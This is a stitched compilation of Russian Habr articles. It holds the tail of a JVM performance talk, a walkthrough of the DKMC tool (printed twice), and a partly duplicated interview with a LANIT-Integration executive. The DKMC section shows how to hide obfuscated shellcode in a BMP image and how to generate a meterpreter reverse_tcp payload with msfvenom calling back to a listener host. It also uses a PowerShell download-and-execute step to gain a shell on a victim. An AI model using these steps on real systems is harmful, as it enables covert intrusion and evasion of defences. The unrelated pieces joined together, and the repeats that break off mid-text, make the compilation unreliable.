Подитог в красной зоне

Я не запрещаю вам делать хаки. Глупо было бы увещевать об этом, вы их всё равно будете делать, потому что иногда по-другому никак. Но удержание численности и плотности хаков в вашем проекте — необходимое условие его выживания.

Умение работать с upstream-ами (если вы, например, занимаетесь open-source-ом, коммитить свои изменения в репозиторий выше) сильно облегчает вашу же долговременную судьбу. Потому что чем больше ваш внутренний заплатками покрытый продукт разойдется с upstream-ом, тем дороже вам же будет его поддерживать.

Умение разбираться во всех этих слоях успешно тренируется «на кошках» в том смысле, что у вас наверняка должны быть staging environment, на которых можно хачить и делать всякие нетривиальные изменения.

Напутствие

Но вот мы на хардкорной конференции. Что же нам с этим всем богатством делать?
Если вы на хардкорной конференции и вы — пользователь продуктов, то с моей точки зрения, как человека, который занимается производительностью, вам здесь стоит:

• обновить запас информации о применимости хаков из красной зоны. Не то чтобы вам прямо сейчас начинать записывать, какие хаки из красной зоны вам внедрить в свой продакшн, а просто обновить этот словарь;
  
• найти сообщников и обсудить подходы работы в жёлтой. О том, как точнее профилировать и мониторить и так далее;
  
• или обсудить, какие приемы из жёлтой зоны уже завещать в зелёную зону, т.е. какие вещи, которые вы считали раньше обменом сложности на производительность, теперь являются просто стандартной практикой написания кода.
  

Если вы — разработчик продукта, то:

• помочь своим пользователям обсудить подходы работы в жёлтой зоне — как профилировать, как мониторить и так далее;
  
• и понять, какие хаки из красной зоны, с которыми люди постоянно сталкиваются, стоит перетащить либо в жёлтую, либо в зелёную зону.
  

Пожалуйста, помните, что основная перформансная работа проходит в зелёной зоне. Каждый раз, когда вы занимаетесь производительностью проекта, сначала смотрите на простые вещи. Именно они вам дадут больший выхлоп по производительности. Про них никто не будет рассказывать на конференции, потому что это скучно. Вам обычно будут рассказывать про жёлтую или красную зону, потому что это клёво и поднимает докладчика в своих глазах. Про то, как кто-то героически поменял LinkedList на ArrayList, обычно никто не будет говорить, потому что это как-то стыдно… (конец)

---

На Joker 2017 Алексей Шипилёв выступит с новым докладом «Shenandoah: сборщик мусора, который смог (часть 2)» и расскажет о проблемах, с которыми вынужден столкнуться низкопаузный GC вроде Shenandoah, и о том, что с ними можно сделать на уровне JVM. Конференция пройдет 3 и 4 ноября в Санкт-Петербурге. Программа и анонсы других докладов есть на официальном сайте мероприятия.

Original source: habrahabr.ru (comments, light).

Может ли обычная картинка нести угрозу и стоит ли обращать внимание на факт загрузки изображений при разборе инцидентов информационной безопасности? На этот и другие вопросы мы ответим в данном тексте на примере работы инструмента DKMC (Don't Kill My Cat).

В чем суть?

Посмотрите на изображение ниже



Видите ли вы в нем что-то странное?

Я не вижу ничего необычного. Данное изображение загружено на сайт в формате jpeg, но его оригинал хранится в формате bmp. Если посмотреть на исходный bmp-файл в HEX-редакторе, то никаких бросающихся в глаза странностей мы тоже не увидим.



Однако это изображение содержит обфусцированный шеллкод по адресу 0x00200A04. В то же время мы не видим никаких странных пикселей на изображении. Дело в том, что в BMP заголовке высота изображения была искусственно уменьшена. В полном размере изображение выглядело бы так. Обратите внимание на правый верхний угол.



Высота оригинального изображения на 5 пикселей больше, чем вредоносного, но для человека это обычно не заметно.

Инъекция возможна из-за того, что байты, указывающие на тип файла, с которых и начинается файл, BM в ASCII, в шестнадцатеричном виде — 42 4D, при конвертации в инструкции ассемблера не приводят к ошибке выполнения, а дальнейшие 8 байт заголовка никак не влияют на интерпретацию изображения. Так что, можно заполнить эти 8 байт любыми инструкциями ассемблера, например записать в них jmp-инструкцию, которая укажет на шелл-код, хранимый в изображении, т.е. на 0x00200A04.

Далее нужно лишь как-то выполнить код, хранимый в изображении, вместо его просмотра в графическом виде.

Для этого может использоваться, например, набор PowerShell команд.

Все описанные мной действия уже автоматизированы и собраны воедино в инструменте DKMC, который мы рассмотрим ниже.

Это правда работает?

Инструмент доступен на GitHub и не требует установки. Там же, в репозитории, есть презентация, подробно описывающая принцип работы DKMC.

Запуск

python dkmc.py

Нам доступно несколько действий



Для начала нужно создать шеллкод. Для этого можно воспользоваться msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f raw > mycode

Будет сгенерирован бек-коннект шелл на хост 192.168.1.3, порт 4444, в бинарном виде.

Далее используется опция меню sc, чтобы преобразовать код в HEX формат для его использования вдальнейшем



Далее выбирается изображение в формате BMP для инъекции шеллкода при помощи команды gen



и получаем вывод

(generate)>>> run
	[+] Image size is 1000 x 700
	[+] Generating obfuscation key 0x14ae6c1d
	[+] Shellcode size 0x14d (333) bytes
	[+] Adding 3 bytes of padding
	[+] Generating magic bytes 0x4d9d392d
	[+] Final shellcode length is 0x19f (415) bytes
	[+] New BMP header set to 0x424de9040a2000
	[+] New height is 0xb7020000 (695)
	[+] Successfully save the image. (/root/av_bypass/DKMC/output/prettycat.bmp)

Здесь сказано, что шелл-код был обфусцирован, указаны его итоговый размер, видоизмененный BMP заголовок с jump инструкцией и сказано, что высота сократилась с 700 пикселей до 695.

Далее при помощи команды ps можно сгенерировать powershell команду для загрузки данного изображения с веб-сервера и последующего его выполнения



и при помощи команды web можно тут же запустить веб-сервер для предоставления этого изображения



Я запущу сниффер Wireshark и посмотрю, что происходит в сети при запуске Powershell скрипта на стороне жертвы



Жертва инициирует обыкновенный HTTP запрос и получает картинку, а мы сессию метерпретера



Так как изображение нельзя запустить «нормальными» способами, то и средства защиты и технические специалисты могут «легкомысленно» относиться к его содержимому. Данный пример призывает внимательно относиться к настройке систем предотвращения вторжений, следить за новостями в мире информационной безопасности и быть на чеку.

Original source: habrahabr.ru (comments, light).

Может ли обычная картинка нести угрозу и стоит ли обращать внимание на факт загрузки изображений при разборе инцидентов информационной безопасности? На этот и другие вопросы мы ответим в данном тексте на примере работы инструмента DKMC (Don't Kill My Cat).

В чем суть?

Посмотрите на изображение ниже



Видите ли вы в нем что-то странное?

Я не вижу ничего необычного. Данное изображение загружено на сайт в формате jpeg, но его оригинал хранится в формате bmp. Если посмотреть на исходный bmp-файл в HEX-редакторе, то никаких бросающихся в глаза странностей мы тоже не увидим.



Однако это изображение содержит обфусцированный шеллкод по адресу 0x00200A04. В то же время мы не видим никаких странных пикселей на изображении. Дело в том, что в BMP заголовке высота изображения была искусственно уменьшена. В полном размере изображение выглядело бы так. Обратите внимание на правый верхний угол.



Высота оригинального изображения на 5 пикселей больше, чем вредоносного, но для человека это обычно не заметно.

Инъекция возможна из-за того, что байты, указывающие на тип файла, с которых и начинается файл, BM в ASCII, в шестнадцатеричном виде — 42 4D, при конвертации в инструкции ассемблера не приводят к ошибке выполнения, а дальнейшие 8 байт заголовка никак не влияют на интерпретацию изображения. Так что, можно заполнить эти 8 байт любыми инструкциями ассемблера, например записать в них jmp-инструкцию, которая укажет на шелл-код, хранимый в изображении, т.е. на 0x00200A04.

Далее нужно лишь как-то выполнить код, хранимый в изображении, вместо его просмотра в графическом виде.

Для этого может использоваться, например, набор PowerShell команд.

Все описанные мной действия уже автоматизированы и собраны воедино в инструменте DKMC, который мы рассмотрим ниже.

Это правда работает?

Инструмент доступен на GitHub и не требует установки. Там же, в репозитории, есть презентация, подробно описывающая принцип работы DKMC.

Запуск

python dkmc.py

Нам доступно несколько действий



Для начала нужно создать шеллкод. Для этого можно воспользоваться msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f raw > mycode

Будет сгенерирован бек-коннект шелл на хост 192.168.1.3, порт 4444, в бинарном виде.

Далее используется опция меню sc, чтобы преобразовать код в HEX формат для его использования вдальнейшем



Далее выбирается изображение в формате BMP для инъекции шеллкода при помощи команды gen



и получаем вывод

(generate)>>> run
	[+] Image size is 1000 x 700
	[+] Generating obfuscation key 0x14ae6c1d
	[+] Shellcode size 0x14d (333) bytes
	[+] Adding 3 bytes of padding
	[+] Generating magic bytes 0x4d9d392d
	[+] Final shellcode length is 0x19f (415) bytes
	[+] New BMP header set to 0x424de9040a2000
	[+] New height is 0xb7020000 (695)
	[+] Successfully save the image. (/root/av_bypass/DKMC/output/prettycat.bmp)

Здесь сказано, что шелл-код был обфусцирован, указаны его итоговый размер, видоизмененный BMP заголовок с jump инструкцией и сказано, что высота сократилась с 700 пикселей до 695.

Далее при помощи команды ps можно сгенерировать powershell команду для загрузки данного изображения с веб-сервера и последующего его выполнения



и при помощи команды web можно тут же запустить веб-сервер для предоставления этого изображения



Я запущу сниффер Wireshark и посмотрю, что происходит в сети при запуске Powershell скрипта на стороне жертвы



Жертва инициирует обыкновенный HTTP запрос и получает картинку, а мы сессию метерпретера



Так как изображение нельзя запустить «нормальными» способами, то и средства защиты и технические специалисты могут «легкомысленно» относиться к его содержимому. Данный пример призывает внимательно относиться к настройке систем предотвращения вторжений, следить за новостями в мире информационной безопасности и быть на чеку.

Original source: habrahabr.ru (comments, light).

Интеграция — исторически одно из основных направлений ЛАНИТ и значительная часть бизнеса группы. Компания «ЛАНИТ-Интеграция» специализируется на ИТ-консалтинге, проектировании, внедрении и поддержке инфраструктурных решений. Сегодня в ней трудится более 500 человек. Мы хотим познакомить вас с одним из первых лиц «ЛАНИТ-Интеграции» — ее техническим директором Андреем Бедранем. Специально для Хабра он рассказал о своих задачах, принципах управления, о команде технической службы, о том, как подбирает в нее людей, о проектных лайфхаках.

О выборе профессии

В седьмом классе у меня появился свой первый компьютер: я начал программировать и изучать железо. Обслуживал и апгрейдил его тоже я. Это предопределило мои интересы и выбор профессии.

Надо сказать, что мои родители были далеки от позиции «пусть ребенок сначала поймет, к чему душа лежит, а уж потом...». Думаю, они были правы. Мне кажется, что такое наставничество никак не помогает выбрать востребованную на рынке профессию, которая будет хорошо оплачиваться.



Помимо увлечения компьютером, важную роль в моем профессиональном становлении сыграл спорт. Вот уж где без труда ничего не достичь. Я с третьего класса играю в волейбол. В какой-то момент встал выбор между спортом и другими сферами, но случилась травма колена, которую нельзя было оперировать в силу возраста. О спортивной карьере можно было забыть. Хотя сейчас думаю, что я и так бы выбрал путь «белого воротничка»: все-таки спорт — очень рискованная история.

В 1999 году я закончил школу с медалью и стал выбирать вуз. Тогда самым высокооплачиваемым направлением в ИТ была информационная безопасность, поэтому я решил сразу поступать на факультет информационной безопасности Российского государственного гуманитарного университета. Поступил с первой попытки и окончил его с красным дипломом.



Работал всегда по специальности. В моей биографии не было такого, что сначала пошел на завод мастером третьего разряда, а потом — настраивать ИТ-оборудование. Начинал карьеру на втором курсе университета в консалтинговых компаниях. До прихода в ЛАНИТ были «Техносерв» и «Энвижн».

Об амбициях

У меня никогда не было амбиций строить карьеру вертикально. Из компании в компанию переходил по приглашению, специально ничего не искал. Все получалось как-то органично: рос профессионально, появлялось новое, интересное с точки зрения функционала предложение, переходил. В ЛАНИТ я пришел в 2011 году на должность начальника отдела информационной безопасности, и снова спорт сыграл здесь не последнюю роль.

У меня в жизни есть три страсти: русский бильярд, шахматы и волейбол. Благодаря последнему я знаю практически всю волейбольную Москву. В ЛАНИТ была когда-то волейбольная команда. Мы пересекались в спортзале, а потом разговорились, и вот как-то так получилось, что я пришел в ЛАНИТ работать.


Вообще я сразу понял, что ЛАНИТ — это в первую очередь платформа для развития. Здесь есть все возможности: финансы, клиентские базы (пожалуйста, продавай), вендорские пакеты, низкий уровень бюрократизации. Все карты на руках. В других компаниях, где я работал, было не так. Там либо тебя ставят в процесс, либо дадут что-то, что будет востребовано год-полтора.

В ЛАНИТ, конечно, есть объем работы, который ты должен выполнять обязательно, но никто тебя по рукам не ударит, если ты проявишь инициативу. Есть опытные наставники. С руководством всегда можно обсудить свои идеи и, если убедишь, получить поддержку. Например, на базе демо-ЦОД мы создали новейший презентационный зал, где можно демонстрировать ИТ-продукты и тестировать решения. Еще пример — по нашей инициативе в техническом департаменте «ЛАНИТ-Интеграции» был создан отдел маркетинга, которому были переданы функции продвижения услуг и продуктов всей компании.

О бизнесе компании

Основной бизнес «ЛАНИТ-Интеграции» — это классика ИТ-жанра: нам нужно собрать из уникальных компонентов инфраструктурные решения, которые помогают заказчикам справляться с бизнес-задачами.

Мы должны хорошо ориентироваться в продуктах, которые предлагают производители, и иметь возможность все быстро протестировать, понять, подходит ли для заказчика тот или иной компонент, и включить его в собственное комплексное решение. Затем нам надо все спроектировать, реализовать, чтобы обязательно работало, и взять на сервисное обслуживание.

Из года в год мы эволюционируем. Сейчас в нашем портфеле много гранд-проектов, где мы выступаем как генподрядчик (например, оснащение стадиона "Открытие Арена"). Это значит, что мы контролируем все: стройку, разработку, сервис. Поэтому у нас многое меняется: риск-менеджмент, бюджетирование, логистика. Последняя, например, стала быстрой: не недели и дни, а буквально часы, когда что-то срочно требуется на объекте. В классическом ИТ-бизнесе такого нет.

Для стадиона «Открытие Арена» мы спроектировали и развернули универсальное техническое решение, которое включает систему бесперебойного электропитания кроссовых помещений и центр обработки данных, структурированную кабельную систему, IP-телевидение, систему телефонной связи, мультисервисную сеть передачи данных, информационную безопасность и цифровые вывески для видеорекламы и информирования.

За три года в дополнение к основному бизнесу «ЛАНИТ-Интеграции» у нас появились и новые направления. Например,разработка, нишевые продукты в сфере консалтинга. Это также сервис «Эксперт по требованию», в рамках которого наши специалисты помогают решать неспецифические ИТ-задачи, или услуга «Ничего лишнего», позволяющая сократить издержки на владение ИТ-инфраструктурой.

Мы даже можем обучать: «Курс молодого бойца» как раз для того, чтобы специалисты (один-два человека) компании-заказчика могли получить новые навыки и знания непосредственно на практике. Мы предлагаем им поработать стажерами на наших проектах, где можно увидеть новое оборудование, узнать нюансы его внедрения и т.д. С нами можно организовать «Безопасный переезд». Каждые несколько недель мы предлагаем новый продукт (сервис), хотя это и не ядро бизнеса нашей компании.

О роли технического директора

Это заблуждение, что технический директор занимается исключительно техническими вопросами. Сейчас невозможно оставаться востребованным специалистом без умения видеть потенциал для своего дела в смежных направлениях. Всегда надо оглядываться по сторонам. Конечно, тяжело это делать, когда компания — лидер на рынке, потому что первый задает направление. И все же я не готов ассоциировать себя с бизнесом, у которого все было. Мы же не в США, Японии, Германии или Китае, где и вправду многое было. В РФ зрелость рынка ИТ-интеграции — примерно 15 лет. Мы только палку-копалку осваиваем. Поэтому надо понимать, что мир сложнее и шире.

Раньше главная наша задача была что-то внедрить, поэтому и технический блок воспринимался как «внедренцы». Сейчас нельзя быть техническим директором и заниматься только технологиями. Это не приносит бизнес-результата. Технологии, которые мы внедряем, должны помогать заказчику экономить или зарабатывать в перспективе лет на пять-семь. Если ты не можешь внятно рассказать, почему необходимо делать именно так и именно это, у тебя никто ничего не купит. Тебе нечего будет внедрять. Ты можешь сколько угодно хорошо разбираться в настройках коммутаторов, но их надо сначала продать. Сейчас даже руководители технических отделов не имеют права не интересоваться деньгами, стратегиями продаж, маржинальностью, конкурентными особенностями своих решений.

Ежегодно с рынка уходят по два средних игрока. Не потому, что рынка стало сильно меньше, а потому что сильно изменились требования к людям, к ведению бизнеса и проектов, отношению к заказчику.


Источник
Медиацентр площадью более 7,8 тыс. кв. м — ИТ-основа «Зарядья»: он объединяет в себе все аттракционы, всю ИТ-инфраструктуру парка.

О маркетинге, который продает

Без маркетинга сейчас невозможно что-то продавать в принципе. У тебя должна быть очень красивая формальная часть: презентация, коммерческое предложение, сайт, мероприятия. Но контент — наша ответственность. Никакой маркетолог не напишет за технического специалиста правильные предложения заказчикам с пониманием специфики и требований.

Источник

В компаниях, где я раньше работал, с маркетингом была иная ситуация. Это такая формальная шкурка была, что, возможно, было продиктовано временем. Сейчас продающий маркетинг может быть только у тех, кто генерит продукт, занимается разработкой, внедряет и общается с вендорами. Поэтому маркетинг у нас находится в техническом департаменте и курирую его я.

Первая цель нашего маркетинга — выйти на рынок малого и среднего бизнеса (СМБ), на котором ЛАНИТ слабо представлен, и на нем успешно продавать. С лета 2016 года мы постоянно разрабатываем продукты для СМБ. Мы продаем то, что нужно заказчику, что снимает его головную боль.  

Вторая цель маркетинга в «ЛАНИТ-Интеграции» — упростить заказчикам доступ к нам в тех отраслях, где мы не были представлены.

О команде и профессиональном выгорании

В нашей сфере ценность специалиста определяется тем, что у него достаточно опыта для того, чтобы понимать, как не надо делать. «Как надо» знают практически все, только не получается успешный опыт тиражировать на все проекты. Всегда есть побочные эффекты. Только тогда, когда у тебя есть специалисты, которые точно знают, как не надо делать, есть шансы реализовать успешный проект.

В «ЛАНИТ-Интеграции» много людей с опытом. Собиралась наша команда эволюционно, поскольку компания выросла из департамента сетевой интеграции ЛАНИТ.


Мы четко понимаем, что у нас должна быть команда, компетенции которой нам будут нужны в краткосрочной перспективе — сегодня-завтра. Если какая-то компетенция завтра не нужна, то людей необходимо перепрофилировать, чтобы они могли сохранять личную востребованность на проектах.

Важно еще понимать, что в ИТ методологически все продумано либо для разработки (кодинг), либо для тех, кто поддерживает системы, — чинит и администрирует. Там классная научная база. Посередине — как раз там, где работаем мы, — гринфилд. Если к этому добавить отечественную специфику ведения бизнеса (проблемы в закупках, сроках, тендерах, юридических отношениях с подрядчиками), то у всех компаний получаются личные рецепты выживания. Рецепт нашего успеха — команда. Наш технический блок — несколько сотен человек. Их эффективность очень высока: мы выполняем свыше двухсот проектов в год. Во многом благодаря результатам именно «ЛАНИТ-Интеграции» группа ЛАНИТ несколько лет подряд — №1 по объему выручки среди компаний, оказывающих ИТ-услуги в России (по данным IDC).


Мы создали информационно-техническую систему и мультимедийный комплекс Корпоративного университета Сбербанка.

Чтобы быть эффективными, людям важно знать, зачем каждый из них что-то делает и как это надо делать. Когда человек не знает, он додумывает, и не факт, что все придуманное будет именно таким, каким ты ждешь. Недавно мы ввели проведение полугодовых и годовых встреч. Я стараюсь встречаться со всеми, говорить об успехах на проектах, давать обратную связь.

Это позволяет избежать такого явления как профессиональное выгорание, которое наступает, когда ты долго живешь в рамках одного ТЗ без планов и идей. Когда ты очертил себе какой-то кружочек, в рамках которого хочешь стать лучшим, и становишься им. Поначалу чувствуешь гордость, а потом постепенно, сам того не замечая, сдуваешься.

О принципах управления

Первый кит нашей системы управления — прозрачность целей. Важно, чтобы все понимали, куда мы идем, и чтобы я понимал свою команду.

Второй принцип управления – требовательность. Нельзя поставить задачу и потом про нее забыть. Нельзя нарисовать план проекта и выкинуть его в корзину – надо исполнять. Причем в обе стороны. Иначе ничего не получится.

Третий постулат – делегировать все, что можно. Если ты не будешь делегировать, то сотрудники не будут расти, а сам ты мало что сможешь сделать. Нужно управлять командой, которая может очень многое делать автономно. Такая команда может появиться, если ты доверяешь и тебе доверяют. Если этот механизм не выстроен, то ты сам постоянно будешь везде бегать и за всеми все сам доделывать. Это нереально.

О лайфхаках на проектах

Наш лайфхак, который работает для проектов любого масштаба в инженерном блоке, — постоянная синхронизация с командой в отношении целей, задач и последствий. Почему-то считается (это я видел неоднократно), что в отношении инженеров это не обязательно. Сказал инженеру сделать «чего-то», и инженер пошел и сделал. Понять не могу, почему так. Ведь не все настолько хорошо стандартизовано, чтобы можно было бы забыть о коммуникации. Но на практике часто именно так и происходит: ну что там инженер? Пошел и настроил… Пошел и спроектировал… Это не работает.

Источник

Я считаю, что нормальный человек, без отклонений, не хочет априори делать свою работу плохо. Он хочет делать ровно или хорошо.

Так вот, чтобы человек сделал хорошо, ему нужно объяснить, что такое этот проект и зачем это все. Поэтому мы стараемся показывать людям причинно-следственные связи: «Мы делаем этот проект. Ожидания заказчика таковы. Поэтому сроки таковы. Условия договора такие. Денег мы зарабатываем вот столько». Это обязательно нужно знать инженеру. В процентах, в числах. Что мы зарабатываем на проекте, что это не сизифов труд.

Об ошибках

Первая ошибка любого управленца, и я тоже это прошел, – судить людей по себе. Я считал, что если я могу, то и все остальные могут. Причем лучше. Это оказалось в корне неверно: все люди разные, у всех свои плюсы и минусы, разные сильные и слабые стороны. Нужно стараться соприкасаться с человеком плюсами, сотрудничать с ним в отношении его возможностей.

Более того, я все время рассматривал человека в комплексе: «Ну наверное, этот человек на столько-то баллов. С ним не получится». Сейчас пересмотрел это, и стало легче и проще. Подходишь к яблоне – фокусируйся на ее плодах, а не на красоте дерева. Наверное, есть деревья красивее, чем яблоня, но яблоки есть только у нее. Если нужны яблоки, то по ним и смотри. Это очень сложно. В этом и есть мудрость руководителя – понять, что человек может. И, конечно, смотри, чего человек хочет. Раньше мне это было не интересно. Это тоже была ошибка. Но я  тогда больших позиций не занимал, чтобы очень много людей от этого пострадало [Смеется]. Теперь фокусируюсь на возможностях.

Что может и хочет человек — это примерно пополам. Понять, чего хочет сотрудник, крайне важно. У всех свой список. Деньги, конечно, там есть. Они в пятерке, но явно не на первом месте. Кому-то нужен комфорт, кому-то – общение с коллегами, кому-то —  заниматься интересной специальностью или работать с каким-то оборудованием, кому-то – ездить в командировки почаще, потому что он хочет посмотреть страну и мир. Если понять это и дать человеку в обмен на то, чем он может быть полезен компании, все от этого только выиграют. Здесь, конечно, нужно потратить много сил, но для ключевых сотрудников это сделать просто обязательно.

О компромисах

Не позволяю нелояльности к компании и неуважения к коллегам. Пришел в коллектив — будь добр со всеми вежливо общаться, коммуницировать по бизнесу, работу стараться делать по максимуму.

Любить свою компанию – это вообще must have. Если человек плохо относится к компании, то зачем он в ней работает? Получается, что либо он не может найти другого места, либо он к себе плохо относится. Оба варианта плохи. Что недовольный — работой или собой — человек может транслировать в мир? Как он будет на проектах работать? Ответы очевидны.

О работе в удовольствие

Мы требуем от сотрудников результата, роста, усилий, длительных командировок. Придется работать там, где тяжело. Попробуй поработай один день в серверной! Там очень шумно и холодно, если кто не знает. Это нелегкий труд, но и велико удовольствие от того, что смог.


Монтаж мультимедийных систем в «Зарядье»

Важно, если у человека внутри что-то горит, если человек не спокоен по жизни. Причем не важна тема. Он может вообще ничего не знать об интеграторском бизнесе. Например, пришел к нам из нефтегазовой отрасли, но там он был руководителем проекта, и у него получалось. Если у человека много увлечений, активная жизненная позиция, то такой человек нам нужен. Мы его энергетику подхватим, научим, и он будет очень полезен. Он заразит этой энергетикой коллег и окружающих. Вот именно эту штуку я стараюсь на собеседованиях выявить.

О собеседованиях

Мое собеседование — один из последних рубежей при приеме на работу. До него доходят хорошие кандидаты, которые получили одобрение HR и руководителей технических вертикалей. Знания кандидатов проверили начальники отделов. Моя задача – определить уровень самомотивации и управляемости. Очень важны жизненные установки человека. В первую очередь, где он совершенствуется: пусть он вино пробует или интересуется кино. Да чем угодно! Важно, как он это делает год от года, его динамика.

Например, очень многие бегают: на дорожке, в парках, еще где-то. Вот человек говорит на собеседовании: «Я бегаю».

Ну это же здорово. Не важно, когда ты это делаешь — утром или вечером, но явно ты себя заставляешь. Это точно труд. Как спортсмен, я это знаю. Спрашиваю кандидата: «А как ты бегаешь? У тебя есть показатели, время?» И люди сразу делятся на две категории: первая бегает – для удовольствия, вторая – на результат.

Для человека, который просто так бегает, важен процесс, а не результат. Ты начинаешь его спрашивать про книги, работу, и он тебе примерно все в той же парадигме рассказывает. Это неплохой человек, бывает — просто замечательный. Такие люди, безусловно, нужны. Но для работы в проектах мы отдаем предпочтение тем, кто стремится во всем работать на результат.

Об управляемости

Очень важное качество кандидата – управляемость. Это когда человеку сказали что-то сделать, а он не согласен, считает по-другому, не видит в этом смысла (может быть миллиард причин!), но он идет и делает. Он, конечно, может высказать свои соображения, его выслушают, но сделать все равно надо.

Управляемость тоже выявляется на собеседовании. Это качество очень нужно для работы в команде, потому что у руководителя не всегда есть время объяснять. Не всегда у сотрудника есть опыт, чтобы осознать. К слову, я тоже управляемый. Молчать, конечно, не буду, но обязательно сделаю. Иначе пирамидка не работает.

О навыках

На каждом проекте не хватает чего-то. Я руководствуюсь принципом познания этого «чего-то», который состоит из трех составляющих. Первая — ты должен спросить у знающего. Найти и спросить совета в отношении данного вопроса. Без этого получается однобокая картина мира.

Вторая составляющая — познать матчасть (книги, курсы и др.). Можно к вендору ехать общаться, можно у конкурента смотреть, можно у себя лабораторию собрать и изучать.

И третье, — личный опыт. Надо попробовать самому. Можно сколько угодно читать, но пока ты сам не попробовал, то все это выеденного яйца не стоит.

Когда ты прошел все три этапа, у тебя появляется собственное мнение на сей счет. Если это собственное мнение качественное, то тебя можно считать чуть-чуть экспертом. Если хочешь стать экспертом, надо много раз весь этот путь повторить.

То же самое в проектах. Если не хватает теоретических знаний, значит — иди учись, не хватает практики — используй материальную базу: демоцентр, инженерный блок.

Повышение компетенции

Я люблю конференции вендоров. Эти мероприятия ценны тем, что на них собираются партнеры со всего мира, и можно, общаясь со всеми, узнавать специфику: проще что-то перенять, чем заново изобретать. Мне нравится общаться с индусами, китайцами, южными корейцами, японцами, представителями стран Африки. Они интересны и новыми решениями, и финансовой политикой. Они готовы передавать инициативу.

О книгах

В год я читаю примерно 15-25 книг из профессиональной сферы — все, что выходит новое в ИТ, маркетинге, продажах, управлении людьми.

Есть у меня и своя личная полочка дома, где стоят «бумажные» книги, которые я бы перечитывал по несколько раз и которые обязательно рекомендовал бы любому, неважно, чем он занимается.

Книжная полка Андрея Бедраня

• Дэниел Канеман «Думай медленно… Решай быстро»
  
• Александр Прохоров «Русская модель управления»
  
• Нассим Николас Талеб «Черный лебедь. Под знаком непредсказуемости»
  
• Элия М. Гольдратт, Кокс Джеффри «Цель. Процесс непрерывного совершенствования»
  
• Уильям Детмер «Теория ограничений Голдратта. Системный подход к непрерывному совершенствованию»
  
• Сет Годин «Фиолетовая корова. Сделайте свой бизнес выдающимся!»
  
• Дэвид Майстер «Первый среди равных. Как руководить группой профессионалов»
  
• Лидо Энтони «Ли» Якокка «Карьера менеджера»
  
• Брайан Моран, Майкл Леннингтон  «12 недель в году. Как за 12 недель сделать больше, чем другие успевают за 12 месяцев»
  

«Русскую модель управления» Александра Прохорова и «Думай медленно… Решай быстро» Даниэля Канеман нужно прочитать как минимум по два раза. Они не относятся к профессии, они сложные, но идеи из этих книг человек обязан знать, если он живет в России и занимается интеллектуальным трудом.

Вместо заключения

Перспектив у нас много для всех на разных этапах. Для всех: и для инженеров, и для архитекторов, и для пресейлов. Каждый может прийти ко мне поговорить или посоветоваться. Считаю, что одна из моих очень важных задач как технического директора — воодушевлять, рассказывать сотрудникам про цели и беседовать на темы неудач.

Original source: habrahabr.ru (comments, light).

Интеграция — исторически одно из основных направлений ЛАНИТ и значительная часть бизнеса группы. Компания «ЛАНИТ-Интеграция» специализируется на ИТ-консалтинге, проектировании, внедрении и поддержке инфраструктурных решений. Сегодня в ней трудится более 500 человек. Мы хотим познакомить вас с одним из первых лиц «ЛАНИТ-Интеграции» — ее техническим директором Андреем Бедранем. Специально для Хабра он рассказал о своих задачах, принципах управления, о команде технической службы, о том, как подбирает в нее людей, о проектных лайфхаках.

О выборе профессии

В седьмом классе у меня появился свой первый компьютер: я начал программировать и изучать железо. Обслуживал и апгрейдил его тоже я. Это предопределило мои интересы и выбор профессии.

Надо сказать, что мои родители были далеки от позиции «пусть ребенок сначала поймет, к чему душа лежит, а уж потом...». Думаю, они были правы. Мне кажется, что такое наставничество никак не помогает выбрать востребованную на рынке профессию, которая будет хорошо оплачиваться.



Помимо увлечения компьютером, важную роль в моем профессиональном становлении сыграл спорт. Вот уж где без труда ничего не достичь. Я с третьего класса играю в волейбол. В какой-то момент встал выбор между спортом и другими сферами, но случилась травма колена, которую нельзя было оперировать в силу возраста. О спортивной карьере можно было забыть. Хотя сейчас думаю, что я и так бы выбрал путь «белого воротничка»: все-таки спорт — очень рискованная история.

В 1999 году я закончил школу с медалью и стал выбирать вуз. Тогда самым высокооплачиваемым направлением в ИТ была информационная безопасность, поэтому я решил сразу поступать на факультет информационной безопасности Российского государственного гуманитарного университета. Поступил с первой попытки и окончил его с красным дипломом.



Работал всегда по специальности. В моей биографии не было такого, что сначала пошел на завод мастером третьего разряда, а потом — настраивать ИТ-оборудование. Начинал карьеру на втором курсе университета в консалтинговых компаниях. До прихода в ЛАНИТ были «Техносерв» и «Энвижн».

Об амбициях

У меня никогда не было амбиций строить карьеру вертикально. Из компании в компанию переходил по приглашению, специально ничего не искал. Все получалось как-то органично: рос профессионально, появлялось новое, интересное с точки зрения функционала предложение, переходил. В ЛАНИТ я пришел в 2011 году на должность начальника отдела информационной безопасности, и снова спорт сыграл здесь не последнюю роль.

У меня в жизни есть три страсти: русский бильярд, шахматы и волейбол. Благодаря последнему я знаю практически всю волейбольную Москву. В ЛАНИТ была когда-то волейбольная команда. Мы пересекались в спортзале, а потом разговорились, и вот как-то так получилось, что я пришел в ЛАНИТ работать.


Вообще я сразу понял, что ЛАНИТ — это в первую очередь платформа для развития. Здесь есть все возможности: финансы, клиентские базы (пожалуйста, продавай), вендорские пакеты, низкий уровень бюрократизации. Все карты на руках. В других компаниях, где я работал, было не так. Там либо тебя ставят в процесс, либо дадут что-то, что будет востребовано год-полтора.

В ЛАНИТ, конечно, есть объем работы, который ты должен выполнять обязательно, но никто тебя по рукам не ударит, если ты проявишь инициативу. Есть опытные наставники. С руководством всегда можно обсудить свои идеи и, если убедишь, получить поддержку. Например, на базе демо-ЦОД мы создали новейший презентационный зал, где можно демонстрировать ИТ-продукты и тестировать решения. Еще пример — по нашей инициативе в техническом департаменте «ЛАНИТ-Интеграции» был создан отдел маркетинга, которому были переданы функции продвижения услуг и продуктов всей компании.

О бизнесе компании

Основной бизнес «ЛАНИТ-Интеграции» — это классика ИТ-жанра: нам нужно собрать из уникальных компонентов инфраструктурные решения, которые помогают заказчикам справляться с бизнес-задачами.

Мы должны хорошо ориентироваться в продуктах, которые предлагают производители, и иметь возможность все быстро протестировать, понять, подходит ли для заказчика тот или иной компонент, и включить его в собственное комплексное решение. Затем нам надо все спроектировать, реализовать, чтобы обязательно работало, и взять на сервисное обслуживание.

